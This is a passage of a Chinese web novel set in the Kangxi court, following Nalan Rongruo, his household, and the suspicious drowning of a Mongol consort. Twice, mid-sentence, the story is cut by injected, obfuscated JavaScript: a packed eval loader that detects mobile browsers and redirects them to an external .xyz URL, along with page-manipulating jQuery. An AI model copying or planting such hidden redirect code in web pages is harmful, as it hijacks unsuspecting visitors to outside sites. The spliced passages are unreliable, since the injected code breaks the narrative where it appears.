“容若我问你,翰林院的书你看过多少?院务你熟悉多少?跟里面的大儒们之间投机的话有多少?” “陆陆续续十几载春秋,大体上都看遍了;院务应是到了那种可以直接上手接管的程度,没有自夸自大,只是觉得自己有能耐来与诸生一同背负整个翰林院,毕竟向皇上提出复翰林的人是我。年少时的志气,终究是没等到挑起担子的那一天。” “我倒是觉得,你跟徐乾学一起共事,不会舒心。” “他是他,我是我,院内各编修各有一桌,不想被旁人打扰,立起‘免扰牌’来就是,想来徐乾学也不敢无视规矩来直面刁难我。”容若无奈一笑,“张兄,不单只是面对徐乾学,我这一生,用心良多舒心少,我都知道。” “你跟徐乾学敌友参半。” “徐乾学身上同在在才学与利益,你说我能择一而从吗?我不能。所以才会一直维持着这样的师生关系,顺天下人的心。” * 容若看向那一边,严绳孙刚刚吃完早点,准备离开。 此时的容若,并不了解严绳孙其人,只从别人口中听得: 荪友的书画造诣极高,平日里爱读史书,因为皇宫里当差已经有一段时日,所以知晓不少宫闱秘事也难说。 荪友是个骨子里装有上阵杀敌的志向之人,从文只为博古通今、让墨水满肚,留下一个“文人”之名。其曾向皇上请战,结果连皇上的面都没见到,就被上头的人故意拦截了文书,郁闷了好些时日之后,才对自己的无能为力做了承认,写下八篇诗文做祭。 荪友身怀韬略,也曾打算辞官之后就回老家经商,奈何还有未了之事,那就是:未见顾贞观将蒙冤的吴兆骞从流放之地救出,所以才留在宫中继续担任文职。 为此,荪友常常悔恨,自己见到皇上的面的机会微乎其微,难以为顾贞观尽力,才使得于事无补,让吴兆骞继续在宁古塔受苦。 容若笑了笑,道:“张兄,严绳孙的这顿饭钱,算我的。” “他不是留下银子了吗?”张纯修问,“你为何还要多付一份?” 容若道:“他人还没有走出这个场子,钱财自然可以拿回去。” 张纯修便叫来了店里的跑堂,交代道:“你去楼下叫住方才坐在那个位置上的客官,就说有人拿他当朋友,先请一份早礼为敬,将银子还到他手里去。” 跑堂挠头,问:“楼主,咱们不能直说用意吗?” 张纯修笑道:“纳兰公子的本意不在施善一份饭钱,严绳孙要是能想明白:这个场子是谁的场子?这个场子是谁说了算?便能先把善缘往心里存。” 跑堂点头,“小的这就下去,会把差事办好。” 那跑堂走后,容若忽然问:“我尊敬有才学且有骨气的人,待我访过座师蔡启僔,会寻个机会把严绳孙邀到明府,留他在明府住些时日。” 张纯修惊讶:“你阿玛明珠能同意?” 容若平和道:“明府若大,多个人不做影响。只是对我个人而言,多一份朋友之乐而已。” 张纯修开玩笑道:“你就不怕严绳孙一旦住下,就不肯走了吗?” “他不会厚脸久住。”容若摇头,“或者说他肯小住时日,已经是给我面子了。” “容若,你自谦过头了。” “张兄就当作我境遇如此罢!同龄朋友甚少,所交都是年长的文人。” “你把自己放开些,冲破完人的桎梏,自然可以不缺同龄朋友。” “楼内有张兄。”容若以茶为敬,“我与张兄至交,无话不说,值得。” * 明府。 渌水池侧,卢氏看见侧室袖云在给容若的小金鱼换水,便走向前去。 “公子喜欢的小生物,要时时瞒着他多备一份一样的,这样即便是小金鱼出了差错,替换以后也还跟以前一样。” 袖云对下人们交替完毕,转身向卢氏问了安。 “给正夫人请安。” “妹妹为公子尽心,周到之处是我所不能及。”卢氏心生反省,“公子在府中常得花鸟鱼石相伴,心情怡然,都离不开妹妹在背后打点。” 袖云微笑道:“公子心细,我们作为妻室,必定是要时时处处都有所顾及的。” 卢氏道:“是,只要是为公子好,细微细节更是少不得。” 卢氏瞧着小金鱼,忽然对容若心生出一股心疼感来。 她听容若说过,小金鱼是阿玛明珠在他参加考试前悄悄送的,父子之间并未当面言及此事,所以这份心灵默契才格外珍贵。 容若喜欢这些带着生命力的小东西,时常多自拟。 所以,他定是见不得小金鱼“出差错”,这跟他爱的花卉随着时节凋零不同。 小金鱼的生命力,在于人的指尖去触碰鱼缸时,它们有感知;而花卉只能在“听人语”和“入诗词”时被珍惜,一季飘落,下季还能轮回再开。 “鱼的生命只有一次。”卢氏感慨,“我们跟公子一样相信它们能够一直一直相伴就好。” 袖云道:“正夫人不妨多陪公子去看看明开夜合树和白玉兰树,公子惯来喜欢的。” “都是能够常添诗情画意和常品心境之物,适合公子,也适合陪伴公子的人。” “袖云会跟正夫人一同,悉心与公子过好每一日。” 卢氏与袖云一道,把小金鱼送回了容若的书房。 她似乎有些明白了:容若是用来心疼和付出的,这些东西,包括爱和时间。 * 慈宁宫的掌事太监李福连奉了太皇太后的懿旨,前去坤宁宫给皇后娘娘送补品。 这事一向都是由苏麻喇姑办的,奈何苏麻喇姑在观德殿祈福,抽不出空来,李公公才领了这份差事。 李公公带着两个小太监往目的地走,天色渐晚,视线相比较平常会出差错也不奇怪。 忽然间,一只黑猫从墙角窜出,“嗖”地一声从李公公跟前溜过,李公公的目光下意识地随着黑猫的行径一扫,竟然在池子边看见了一个人影! 那个人影瞧着像是融贵人,因为只有蒙古妃子才有用绿松石和玛瑙石做耳环的习惯,那对耳环在夕阳余晖之下,反射着不和谐的光影。 李公公向来谨慎,不敢打草惊蛇。 他一招手,让身后的两个小太监跟上,一并站在一侧不引人注目的地方观察融贵人的一举一动。 “干爹。”其中一个小太监问,“咱们不是赶着去坤宁宫吗?这是送东西去皇后娘娘那里,如何能够耽误?” “融贵人虽然失宠,但是她是一宫的小主,日后太皇太后问起来,我也好有个交代。”李公公朝不远处看着,“融贵人身边连个随行的下人都没有,你俩就不觉得蹊跷?” “奴才觉得那只黑猫才最可疑。”另一个小太监道,“难不成是人在低谷之时,连阴森的邪物都会找上头?” “那只黑猫既然出现在你我面前,就是天意指引你我也把融贵人的行动瞧个明白。”李公公微微皱眉,“我怎么看那融贵人行动步子和徘徊的范围……都不像是自主的呀?” “干爹何以见得?” “直觉啊!”李公公一指自己的脑瓜,“莫非除了你俩和我,这附近还隐藏着别的在监视融贵人的一举一动之人?” 那两个小太监还没来得及反应,目光未到、声响先入,只听见“扑通——”一声,就见融贵人好似被看不见的手推搡了那般,掉进了水里。 他俩瑟瑟发抖,几乎快连给皇后娘娘的补品都拿不稳了。 融贵人在深水里挣扎,呼救声凄厉而刺耳,那只黑猫竟又一次窜到了那三个太监身旁,顺着一棵大树往上爬去。 命悬一线之人,在无助之中扑腾,阵阵水花无情地组成了一圈又一圈的漩涡,反而令她越陷越深,自救无果;黑猫目似铜铃,爪如利刃,尾若长鞭,片片树皮屑掉落,伴随着阵阵阴风,颇是吓人。 就在夕阳完全落下山去的那一刻,其中一个小太监终于忍不住问:“干爹,咱们是救人还是不救啊?” “糊涂东西!”李公公忍着火气,小声一骂,“你我三人现在过去,那还了得?不被有心之人当成犯人来抓个现行算好!” “那该如何是好啊?”另一个小太监惊恐未消。 “如今坤宁宫咱们是去不得了。”李公公说的直接了当,“皇后娘娘可不能知晓此事,否则气急胎动,咱们就算是有十个脑袋也不够皇上砍的。” “那这些补品……”小太监犹豫着,“还有太皇太后那边要如何回话?” 李公公拿了主意:“就说咱们在半路上被黑猫扑了,补品也不小心摔坏了,所以不敢拿去给皇后主子。主动向太皇太后请罪,求太皇太后开恩就是。” “这可是说谎啊干爹!”小太监浑身一抖。 “这叫明哲保身。”李公公气恼,“干爹平时是白教你俩了!” 说罢,李福连就从两个徒弟手中夺过那些补品,往地上一摔,做出了都是被黑猫所害的假象来。 两个小太监拿着破败的补品往回走。 “干爹,您说……这融贵人是自己寻死还是意外身死?是叫人给害的还是自己不留神啊?” “这可千万不能猜!”李公公比出了闭嘴的手势,“这件事的真相绝对不简单。” * 夜间。延禧宫。 惠妃的贴身宫女远黛刚刚从外头回来,未顾及脱下身上的防夜露打湿衣衫的披风,就匆匆向主子行礼。 跟惠妃一对眼神,远黛来到窗前,左右一看,确认外头的都是自己人之后,迅速关上了窗户。 远黛用单手半挡嘴侧,在主子耳边小声道:“娘娘,融贵人额哲氏死了。” 惠妃毫不惊慌,只平静确认:“蒙古出身的妃子死了?可有打听清楚死因?” 远黛摇头,谨慎道:“奴才知道这事非同小可,额哲氏再怎么说也是噶尔丹汗挑给皇上的女人,噶尔丹汗若是借机发难于大清也不无可能。所以融贵人的死因尚且无人知晓。” “无人知晓?” 惠妃一想,难不成一切都是皇上在背后操纵?皇上在南方平藩战事上吃了亏,就想着将战火转向蒙古草原?现在跟噶尔丹汗开战,还未到时候啊! “太皇太后和皇后娘娘都怎么说?” “慈宁宫那边才刚刚有小太监过去回禀,坤宁宫那边众人怕惊吓临产的皇后娘娘,都不敢前去告知。” “皇上今晚可有翻谁的牌子?” “敬事房的公公说,皇上去了德嫔的永和宫。” “本宫现在代替皇后娘娘行使协理六宫之权,融贵人之死只怕内因难明,不可轻易细查。” “娘娘可有口信或者纸条交待?奴才一定布帆无恙地带去给明珠大人和容若公子。” “不可。”惠妃从榻上起来,“伯父和表兄才刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447408|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚跟皇上和气,要是我稍有不慎,担了一条后宫干政之罪,整个纳兰家都会被我所累。” 远黛问:“那该如何是好?” 惠妃身上绷紧了半根弦:于责任,她不能不过问此事和拿可疑之人来严审;于大局,她却不得不识得退让、不作深究。 “明日你去请德嫔妹妹过来,本宫自会从询问她皇上的状态之中,琢磨出一些线索。” “娘娘,您是怀疑融贵人的死跟皇上有关?不是意外或是被别的妃嫔所害?” “是啊。”惠妃站在妆镜侧,“远黛你发觉没有?融贵人死后,整个后宫都没有谁七嘴八舌地议论什么。到了这会儿,消息也传开的差不多了,却没有任何一个宫女或太监来给本宫说这件事,不是明摆着有上头施压吗?” “娘娘,这事您难办的很呐!”远黛最懂主子,“主意能不能拿下来,由不得您自己。” “总归是不能伤了皇上的颜面和坏了后宫的秩序,如果真到了皇上冲动引战蒙古的地步,那就是要老祖宗亲自出马才能平息风波的了。” “奴才希望皇上不至于如此。” “嗯。一切等天亮后再说。” * 另一边。永和宫。 红烛帐暖,春宵千金。 玄烨躺在坐着的德嫔身侧,早已闻讯“后宫有嫔妃殁了”的他,仍旧是一如常态。 “德嫔,朕喜欢你率真浪漫,不似皇后端庄大方,也不似惠妃处事周全。融贵人之死,你有什么想法都可以大胆跟朕说。” “臣妾只当是意外。”德嫔轻轻揉着皇上的太阳穴,“后宫的女子,得宠是福,失宠非祸,融贵人能来到皇上身边伺候皇上,已经是胜过天下女子百倍了,得失生死皆是她的命数,天意罢了。” “你就不怀疑她是被人所害吗?后宫的勾心斗角,历朝历代都有,朕这一朝也一样。” “谁会去害一个被皇上您冷遇的嫔妃呢?”德嫔诚实道,“后宫女子的斗争,向来都是为己为家族,若是去害一个不能给自己带来利益的嫔妃,那事后真相败露,岂不是在无出头之日?不值得。” “你不觉得融贵人死在这个节骨眼上,有所巧合吗?”玄烨坐起,“下个月是她的生辰,逢三的岁数可以请旨让母族的人入宫探望,下个月她正好是十八岁。” “融贵人之前去养心殿求见皇上而没见到之事【注1】,已经在后宫传开了。”德嫔向玄烨细说,“她哭着回来,仪态甚是不合嫔妃之礼,若不是惠妃娘娘体桖不罚,她早该领失仪之罪了。” “是吗?”玄烨皱眉,“朕没听谁提起过融贵人哭泣之事。” “皇上,臣妾听宫女说:融贵人求见您而没有见到的当晚,精神有些不对劲,独自去池子边扔石头,整个人晃晃悠悠,恍恍惚惚,就跟是想不开了一般。” “原来如此。” “所以臣妾才说,融贵人之所以会没命,全是她自己的原因,怪不得任何人。” 玄烨转身,背对着身边的女子,同时也暗暗松了一口气。 他心想:有德嫔的这番“证词”就好办了,日后噶尔丹即便是派了使者来问,自己也可以拿出这条理由的回应。 “皇上。”德嫔温婉娇俏地叫了一声。 “融贵人之事,就交由惠妃去处理,皇后那边不必惊动。”玄烨重新躺下,“德嫔,你也靠近朕身上来吧!早日为朕诞下皇子。” “是。” 德嫔稍稍一卷长发,侧躺下来,单手轻放在皇上的睡袍上,离玄烨很近很近。 她渴盼着君主的恩宠,如果她能够顺利诞下小阿哥,那么晋升妃位指日可待,包括她身后的乌雅氏一族,也能并享尊荣。 窗外一轮圆月高照。 这位心思单纯的少女,此时并不知道:将来自己会是雍正皇帝的生母,且被尊称为孝恭仁皇后。 德嫔就这般率真地活在后宫之中,这般珍惜和享受着康熙皇帝带给她的欢愉,只为让自己比其她嫔妃过的自在。 她的处事准则,简单而明快:保持一颗本心,爱自己的夫君,尊重赫舍里皇后,与人友善相处。 她的生存之道,爽朗而自知:有话直说、有话敢说,却不得罪任何人。有事能做,有事慎做,却自有把握分寸的尺度。 康熙皇帝已经睡着,德嫔感受着玄烨那沉稳而有序的呼吸,只愿长夜更长,情在人在真心在。 * 隔日。索党密室之中。 听说新科状元彭定求连着三日“上书献策”都被康熙皇帝当面痛批和勒令退下之后,索额图十分惊讶。 竟不知是彭定求的“策略”真的没有讲到点子上,还是康熙皇帝压根不想听忠言。 “你们有打听到消息吗?”索额图问,“彭定求都对皇上说了什么啊?” “那彭定求的父亲彭珑曾在岭南当知县,给儿子修书一封,讲到了训练岭南军伍的技巧。”李光地道,“所以下官猜测,彭定求是拿着父亲的书信去找了皇上。” “他们父子也不看看大清现在是什么局势!”索额图气愤道,“皇上怎么会在皇后要诞下子嗣的关键时候去打仗?” “索大人,赫舍里皇后是您的侄女,您自然是盼着皇上对她好。”辜鸿玳道,“但您毕竟不是皇上,不能断定皇上的心思。” “本官的探子摸清了消息,噶尔丹的使者正在来京的路上,目的和动机不明,皇上要是由着性子来驳回使者的请求、或是明珠的儿子又在一侧蛊惑君心,怕是我大清江山岌岌可危。所以本官要采取对策——” 兴必察问:“索大人的意思是?” “本官认为,皇上应当仔细衡量和允诺噶尔丹的物质要求和封王敕书,噶尔丹没向朝廷要军火、要奴隶、要美女和亲,已经是够客气的了。” “索大人此言,怕是站在明珠大人的对立面啊!”李光地马上就反应了过来,“到时候不必皇上发表意见,明珠大人就能先将您一军。” “本官要进谏,在朝堂之上光明正大地进谏!!” 索额图中气十足。 他打算放手一搏,叫康熙皇帝对噶尔丹采取“仁和应允”之策。 【注1】融贵人未见到皇上而泣,见第126章末尾。 130.第130章 孝庄听闻后宫有蒙古妃子死了的消息后,立刻下旨将与死者相关的物品都销毁,将死者居住过的地方都做内外清扫。 等到人都离开了,苏麻喇姑上前去询问:“老祖宗,您这举动会不会太招显了些?各宫的主位怕是会不理解您的用意啊!” 孝庄盘着手上的念珠道:“我总不能派人去观德殿给死者祈冥福,或是叫宝华殿的法师来后宫大兴法事吧?皇后还在待产,一切只能往最善的方向去办。” 苏麻喇姑扶孝庄起身,主仆一块往外走。 “融贵人会死,失足也好,惊吓也罢,又或者是有幕后黑手所逼也都过了,总归是皇上逃避了的责任。” “老祖宗可是要去书房给皇上讲道理?” “皇上已经长大了,他有自己的想法,不必我多说什么。我只是想听听皇上对北蒙古的看法。” “好在老祖宗您是南蒙古科尔沁出身,不然也不好避嫌。否则谁要是拎出一个‘抉择’来问:太皇太后是向着娘家还是向着皇上?您也不好办。” “大清是皇上的,我自然是向着皇上。”孝庄清醒的很,“我也要叫人去给娘家传个信:不管日后是否跟噶尔丹有瓜葛,都要以大清为重,以康熙皇帝为明主,誓死不叛变,誓死效忠,誓死不屈强敌。” “老祖宗心明如镜,是大清和皇上的福气。” * 书房里。 玄烨才听罢内务府总管对后宫各项开销的汇报,就听见了“太皇太后驾到——”的通传声。 于是,他迅速拿了主意,对内务府总管道:“那些支出都悉数按照规矩来向各宫拨给,天气渐热,冰块和消暑汤饮也要及时送往各宫,不可有所不公。” 内务府总管感激道:“万岁爷您恩泽六宫,想必各位主儿都是念着万岁爷的好的。奴才这就叫徒弟张全保一一去办,过来再来向万岁爷回话。” “好,你退下吧!” “奴才告退。” 玄烨起身,向孝庄行礼:“孙儿给皇阿奶请安,皇阿奶吉祥。” 孝庄道:“皇上起来吧,咱们祖孙俩坐着说说话。” 屏退了旁人,孝庄问:“皇上,融贵人可是你有心杀死的?照理说她进宫以后,前期虽是顶撞皇后目无尊卑,后期道也是真的有所反省,真的到了该用她的死来警戒噶尔丹的地步吗?” “最懂孙儿心思的人,莫不是皇阿奶和纳兰。”玄烨自己认了,“正如皇阿奶所说,朕的确是从来没有喜欢过融贵人,选她入宫有目的、杀她于池塘也别有用心,但是她死的不冤,最起码不用再过没有盼头的日子了。” “融贵人死了的消息始终会传开,皇上你要怎么给后宫一个交代?” “后宫有惠妃,惠妃一向顾全大局,朕相信她能过平息众议。” “那噶尔丹的使者要说法呢?” “有德嫔作证融贵人精神恍惚,所以朕会以‘融贵人意外身死’来回应。噶尔丹使者要是不服,那朕就当面亮出本意;若是噶尔丹使者提出安抚条件,那朕就全部拒绝,等着噶尔丹本人的反应,看看他对大清是什么态度再做定夺。” 孝庄把端起的茶杯往桌子上重重一放,冷看玄烨。 “皇上真就那么想把战火对准噶尔丹?用一个后宫嫔妃的死来挑起大清与北蒙古的矛盾,皇上以为天理在谁手里?” 玄烨一想,然后答话:“老天爷既不会帮朕,也不会帮噶尔丹,只会让世人知道,噶尔丹要是继续扩张势力威胁我大清统治,康熙皇帝势必与他清算到底!” “这不是打或者不打的问题。”孝庄指出,“而是皇上你有没有十足把握去面对天下,大清的国土贯通四海、何止一个北蒙古?大清的百姓遍布各处,何止眼前京师和眼外边界?皇上的敌人,或者说大清的敌人,难道就仅仅有吴三桂和噶尔丹吗?” 玄烨心中一震,觉得皇祖母的话确实有道理。 孝庄继续道:“当下最要紧的,是确保赫舍里皇后母子平安,一切外交之事、征战之事,甚至是皇上曾经夸下海口的要去拜谒明孝陵之事,都等赫舍里皇后顺利生产之后再议。” “朕并没有不记挂皇后,只是心中咽不下吴三桂逆袭的那口气,所以才会急着想用另一场战争来证明自己是个明君!” “小不忍则乱大谋。”孝庄教诲,“皇上若是身处诸多要务之中无法脱身,后宫也难以风平浪静,中宫正是怀胎的关键时候,前朝不可多议战事,免得有心人趁乱而起,祸乱朝纲、惊扰后宫。” “皇后的产期,太医院那边可是已经预计出来了?” “下个月中旬。” “好,朕听从皇阿奶的话就是。” * 恭送太皇太后离开后,玄烨叫来了顾问行。 “顾总管,朕要打北蒙古,纳兰跟朕强调‘起战之因’和‘作战之法’,朕参合了他的建议之后,就牺牲了融贵人和多次去上驷院检阅战马;太皇太后要朕‘明天理’和‘顾着皇后’,朕也选择听从……” 玄烨一抬头,吐出一口气,“朕难道就不能遵从自己的心,痛痛快快地指挥作战一次草原吗?” “万岁爷,有人给您出主意和给您讲道理,那是好事呀!”顾问行好声,“说明纳兰公子和太皇太后都在乎您。” “朕不是好战,而是吴三桂和噶尔丹都不是善茬,是他俩逼着朕去开战。朕如今坐在皇帝的宝座上,心怀天下,才会想着用胜仗来彰显自己的万丈雄心!没有军功的统治者,怎可成为好皇帝?” “万岁爷,你还年轻,当然奴才不是说您份量不够、不足以征服各方势力,而是您也要分个轻重缓急才好。” “但愿皇后母子无恙,否则真是对不住朕对战事的让步。” “是,奴才要告诉万岁爷,法师们多有祈祷:为了大清也为了皇后娘娘母子。一切都在往好的方向发展呢,万岁爷大可放心。” 玄烨挥了挥手让顾问行退下。 ——放心? 他无奈一笑,个中滋味只有自己知道。 * 延禧宫。 张全保张公公先一步向惠妃汇报了皇上对后宫各位主儿的“夏季用冰和汤饮”的发放之事。 惠妃听罢,遂问:“张公公你是知道的,后宫出了命案,皇上未向本宫过问一句,反而是叫内务府照常分拨用度,这是何意?” 张全保神色谨慎,“回娘娘,太皇太后今儿去书房见了皇上,过后皇上也没有叫顾总管来内务府或是叫梁九功梁公公去后宫传话,可见皇上是想将融贵人之事交给娘娘您来妥善处理纳!” 惠妃思忖小会儿,道:“本宫会好好斟酌着来办。” “奴才还有话要给娘娘回。” 张全保事无巨细:“给大龄的、该出宫返乡的太监和宫女们的遣散款,内务府在收到娘娘的造册之后,都已经将钱款分拣完毕,就等着万岁爷的意思下来,好一个不漏地发放出去呢。” 远黛道:“我们娘娘对皇上管后宫之事管的细早就生疑了,张公公你是明党之人,应当将听到的风声和内务府的动向都仔细跟娘娘说清楚才是。” 张全保应了一声:“是。” 继续道:“内务府如今在准备的事,首先自然是跟皇后娘娘肚子里的皇嗣相关,皇上是一日不差地叫人来问话的;其次就是,夏季的消暑和防火事宜,奴才们都打起十二分精神来应对的;真要说有什么是奴才想不通的,那就是皇上派了顾总管过来交代:要内务府拿出部分银子来筹做马匹的粮饷。” “用作粮饷?”惠妃蛾眉微动,“这事怎么到了你们内务府手里?这不是对外的吗?你们噶禄总管答应了?” “是啊,噶禄总管领着内务府上下一并接了旨。”张全保道,“所以奴才方觉得奇怪:照理说粮饷筹备,物资应是归兵部管,钱款应是归户部管,但是万岁爷偏偏找到了内务府。” 惠妃认真做了判断,终于道:“张公公,你明儿仔细着些,把这事带信给明珠大人和纳兰公子。” “是。”张全保领了差事,“奴才会万无一失地去办。” * 深夜,星明月朗,有阵阵虫鸣之音。 济国寺后山独栋屋,沈宛和师傅、张岱先生一同在庭院中纳凉。 宋应星安插在宫中的眼线打听到了消息,回话道: “宋公张公宛姑娘,逼死蒙古妃子、筹集马匹饲料、加强侍卫营对内宫的巡逻……种种迹象表明,康熙皇帝决心攻打漠北。” 宋应星和张岱相互对望了一眼,然后询问:“可有听到康熙皇帝是汉人士人们的态度?” 线人道:“翰林院一切平和,那些大儒们除了做学问就是拟写皇后嫡子的贺文,倒是新科状元彭定求,给康熙皇帝献策几次都碰了一鼻子灰,却仍旧以纳兰公子为榜样,积极上进。” 那线人还未把话说完下半阙,就被沈宛打断。 沈宛问他:“康熙皇帝要攻打漠北,纳兰公子是否随驾同征?” “在下不知。”线人的确是没有眉目,“只是近期后宫即将添丁,纳兰公子婚后也有家事要顾,皇上若是还发起战事,未免太过于独断专行和不理智。” “你说的对。”沈宛点头,“皇上是不该这个时候还一门心思想着自己立功疆场。” “你接着说——”宋应星催道,“汉人士人们可会受到皇上心情的左右,而遭受无妄之灾啊?” “这可难说。”线人道,“ ‘花鸟风月楼’楼主张纯修带了孔尚任去明府见纳兰公子,要孔尚任向公子保证:非常时期之内,不写新章节,不演旧戏,一切都等皇后娘娘诞下皇嗣,普天同庆之后再恢复往常的调子。” 宋应星又问:“纳兰性德对此是什么反应?” 线人应的简洁:“属下没有探明。” 宋应星拿定主意道: “御婵,原本师傅是只想叫你一人先归江南回避当下局势,现在师傅改变策略:打算与你同时离京,回江南去度过几年光景,明日——” 未等沈宛回应,宋应星又对那线人道:“你去‘神龙镖局’找几个靠得住的镖师过来,就说我有重要镖物《天工开物》要走镖去江南,走马费和辛苦费都好说。” 张岱大惊。 “宋公,你这是要带宛姑娘一起回旧住址去吗?我倒是觉得康熙皇帝对汉人士人难得开明,不会因为吃了吴三桂的败仗和受了噶尔丹的挑衅……而迁怒到读书人身上。” “张公,你是不懂这未雨绸缪之理啊!” 宋应星毫无节奏地摇着蒲扇,道: “纳兰性德是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456629|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天下读书人的信仰,贵公子都开始叫张纯修陆陆续续去保护场子里的文人们了,康熙皇帝后续能没有大动作吗?” “宋公的意思是——”线人如梦初醒,“表面上是张纯修带着孔尚任等人去明珠府邸,悄悄对纳兰性德做‘不生事’和‘明哲保身’的约定,实际上一切还是纳兰性德本人的安排,他在悄无声息、波澜不惊地救读书人们的性命?” “是啊!”宋应星把蒲扇往石桌上一搁,“纳兰性德心怀慈悲,我看出来了。御婵,你呢?” “我……” 沈宛心绪慌乱。 许久未见容若,事情怎么一下子发展到了师傅所说的地步?当下大清的时局,真的到了连文人们也如履薄冰的地步吗?容若这么做,本意真的是如师父所说吗? 宋应星一脸严肃,对沈宛道:“御婵,明日师父在屋里与镖师们一同打点镖物和行李,你到外头去跟纳兰性德见上一面,好好跟他暂别。” “师傅,您叫我跟纳兰公子说什么啊?” 沈宛忽然微红了眼眶,人未别,愁绪却是先一步满了心。 “相隔时日未见,纳兰公子与我相会时他定是高兴,我却要拿出‘暂别’二字来扫他的兴,您不觉得太残忍了吗?”沈宛喃喃道,“他不是个经得起伤的人。” 宋应星听罢,不做共鸣反而是正色道: “当断不断,反受其乱。御婵,师傅是为你好,你想想看,在‘情’字和‘国’字面前,纳兰性德会选哪个?无疑是为康熙皇帝尽忠啊!康熙皇帝要兴起文人之祸,纳兰性德无疑首当其冲,所以他才一边自保、一边保天下读书人。” “如今我是明白了,什么叫做当得了皇上的人要能行‘文武两道’,原来就是这么回事呀!” 仰头一看星空,复低头,沈宛发出几声冷笑: “康熙皇帝定是觉得,要是自己的‘武功’政绩连连不如意,那还有‘文治’可以做后端、任由挑衅和挑错呢!” 张岱道:“宛姑娘,前景难料,你先归江南,等康熙皇帝的政策都一步一步地推行和试错之后,再回来不迟啊!” 宋应星露出了“张公说的无错”的神情,道:“我也正是这个意思。” 沈宛没有明确表态,只道:“师傅,张岱先生,我先回房了。待我思量过后,再做答复。” * 等到沈宛离开,宋应星对张岱和线人叹了一口气。 他拿起蒲扇来拍了拍自己的膝盖,好似在自我驱赶愁懊,又好似在怨恨自己的身份和大清天子的脾气,只可惜愁与怨皆入这满庭的月华水光,几捋几搅,还依旧。 “我是为她好。”宋应星语气真挚,“这个世界上呀,最难捉摸的是君心,最难走出的情关,纳兰性德和沈宛,恰恰就是站在这两处极端之上的人。” “宋公莫要忧愁。”张岱宽解道,“我相信宛姑娘是个明事理的人,她会听从你的话。” “罢了!”宋应星反过来叮嘱张岱,“我与沈宛离京之后,张公你一个人在这住着,一定要万事小心。” “多谢宋公提醒。” “有文人名叫顾贞观者,为了救友吴兆骞,四处找救星无所不用其极,定将惹恼康熙皇帝,你要谨慎与其交往,最好是不要交往。情非得已,也要尽快脱身为妙。” “好,我听宋公所言。” “唉!”宋应星又是一叹,“日后顾贞观要是接触沈宛,借着沈宛的慷慨心和乐善心来央求纳兰性德去救吴兆骞,是福还是祸啊……” “宋公你太过远虑了呀!”张岱拍了拍宋应星的手心背,“莫想莫想。” 宋应星起身,背着手往自己的房间走去。 张岱送别了线人,也回到了自己的落脚处。 唯独是沈宛,躺下有起身,起身又躺下,不知该如何是好。 一位是自己喜欢的如玉公子,另一位是对自己有养育之恩的师傅,前者不相离,后者不忍弃,心中伤且难、伤且难啊…… * 另一边,明府。 纳兰容若躺在正夫人卢氏身旁,香温人温,即将入睡。 “尔谖见公子近来多在府中与文人们来往,可是有所筹谋?” “只是觉得有必要让文人们明白局势罢了,没有特别目的。”容若道,“我自身近来亦是空闲,聚友论文章,做渌水亭边赋,也是有的。” “公子不怕此举会招来四周眼线的误会吗?” “哪派势力要盯着明府、盯着阿玛、盯着我,难料难防。”容若坦然,“本就已经够谨慎了,让张纯修以己之口,在‘花鸟风月楼’内代为传达了我的本意,以保全场子和管住文人们的笔和嘴。要是在家里我也提心吊胆,那就活的太没意思了。” “尔谖愿意为公子分忧,如果有需要尔谖做的事情,请公子告知和信任交代就是。” “我是不想自己的家人过多卷入。但有需之时,定会对你直言。” “不知明日公子有何安排?” “会出家门一趟。” 容若没将具体去处告知卢氏,只是心中已经有数:要去“饮水词歌·素菜馆”的“一双人”雅室坐一坐,品茶抄经,观景酿词,若能见到沈宛…… 他在心中露出浅浅的安然感,若能相见她,便是最佳。 131.第131章 次日。 容若在“饮水词歌·素菜馆”小院落的拱桥上喂鱼,刘管事过来,告知他宛姑娘来了。容若闻讯高兴,便搁下鱼饲料往“一双人”雅室走去。 有鱼摆尾,弹起池面点点浪,浪湿衣摆,他亦是欣然,只觉得是添了些生动和乐趣。 双手推开门页,容若朝里面的人雅道:“我见宛卿,心自生暖。宛卿见我,是否亦然?” 沈宛上前,用温情的江南语侬道:“我想公子,愿意相近相守,一世留在京华陪伴公子。可是却要如实告知公子,我要回江南去,跟师傅一起。” 容若一怔,懵然许久,才问:“宛卿要走?” 像是“为什么要远离我”、“什么时候回来”之类的伤情之语,他问不出口。长久以来的家庭教养,不允许他在与人别离之际有大起大落的情绪。 “我跟师傅都是汉人,师傅还是心存大明遗志的士人,师傅判断:当下局面越往后发展,越是不利于文人,就像是公子你一直在潜移默化地保护读书人一样,也是怕康熙皇帝忽然转变‘满汉之策’,将气撒在文人们身上吧?所以师傅才决定带我一起回江南避风头。” 听沈宛这般说,容若的一颗温柔心猛疼起来。 云辞因为不满皇上,随禹画师一同登船出海而去。宛卿也是因为不满皇上,选择跟师傅归江南离我而去。 ——我纳兰容若,这一辈子,失去的总比得到的多,空空如也,空空如也。 ——试问皇上,你除了自私地占拥我的前程和冲动地施展抱负,到底给予过我什么?你所谓的君恩,就是一次又一次地向我纳兰容若布局,然后自己也陷进去、不顾一切地去杀曾经伤害过我的人吗? 像是鳌拜、十二名前明士人、太医院院使,那些人会咒骂我、暗算我、不治我,难道皇上你就没有责任吗? 